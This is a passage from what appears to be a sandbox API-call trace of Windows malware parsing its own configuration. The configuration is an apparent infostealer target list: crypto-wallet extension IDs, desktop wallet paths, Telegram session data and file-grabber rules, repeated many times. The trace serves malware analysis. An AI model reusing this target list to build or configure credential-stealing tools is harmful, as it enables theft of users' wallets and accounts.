Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.287] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.287] lstrlenW (lpString="ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3858 [0266.287] LocalAlloc (uFlags=0x40, uBytes=0x1ea4) returned 0x6f4830 [0266.287] StrCpyW (in: psz1=0x6fe628, psz2="Ledger Live" | out: psz1="Ledger Live") returned="Ledger Live" [0266.287] LocalFree (hMem=0x6f4830) returned 0x0 [0266.287] StrStrW (lpFirst="26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.288] lstrlenW (lpString="ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3858 [0266.288] LocalAlloc (uFlags=0x40, uBytes=0x1ea4) returned 0x6f4830 [0266.288] StrCpyW (in: psz1=0x700f70, psz2="26" | out: psz1="26") returned="26" [0266.288] LocalFree (hMem=0x6f4830) returned 0x0 [0266.288] StrStrW (lpFirst="Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.288] lstrlenW (lpString="ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 